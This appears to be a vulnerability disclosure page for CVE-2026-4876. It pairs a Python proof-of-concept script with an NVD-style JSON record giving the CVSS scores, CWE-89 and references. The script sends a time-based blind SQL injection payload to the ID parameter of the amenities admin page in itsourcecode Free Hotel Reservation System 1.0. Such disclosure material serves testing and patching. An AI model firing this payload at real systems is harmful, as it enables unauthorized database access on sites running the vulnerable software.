CVE-2026-4876

import requests def check_sqli_vulnerability(target_host): """ PoC for CVE-2026-4876 SQL Injection Vulnerability Target: itsourcecode Free Hotel Reservation System 1.0 File: /admin/mod_amenities/index.php?view=editpic Parameter: ID """ url = f"{target_host}/admin/mod_amenities/index.php" # Using a basic time-based blind SQL injection payload for demonstration payload = "1' AND SLEEP(5)-- -" params = { "view": "editpic", "ID": payload } try: print(f"[*] Sending request to: {url}") response = requests.get(url, params=params, timeout=10) # Check if the response time indicates a delay caused by SLEEP(5) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: The application responded with a delay.") print("[+] This indicates that the SQL payload was executed by the backend database.") else: print("[-] Vulnerability not detected or target is not vulnerable.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1" check_sqli_vulnerability(target)

{"cve": {"id": "CVE-2026-4876", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:14.267", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in itsourcecode Free Hotel Reservation System 1.0. The impacted element is an unknown function of the file /admin/mod_amenities/index.php?view=editpic. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit is publicly available and might be used."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en itsourcecode Free Hotel Reservation System 1.0. El elemento impactado es una función desconocida del archivo /admin/mod_amenities/index.php?view=editpic. Tal manipulación del argumento ID lleva a inyección SQL. El ataque puede ser realizado desde remoto. El exploit está disponible públicamente y podría ser usado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/bybinyu/Vulnerability-Practice/issues/5", "source": "[email protected]"}, {"url": "https://itsourcecode.com/", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.353559", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.353559", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.777352", "source": "[email protected]"}]}}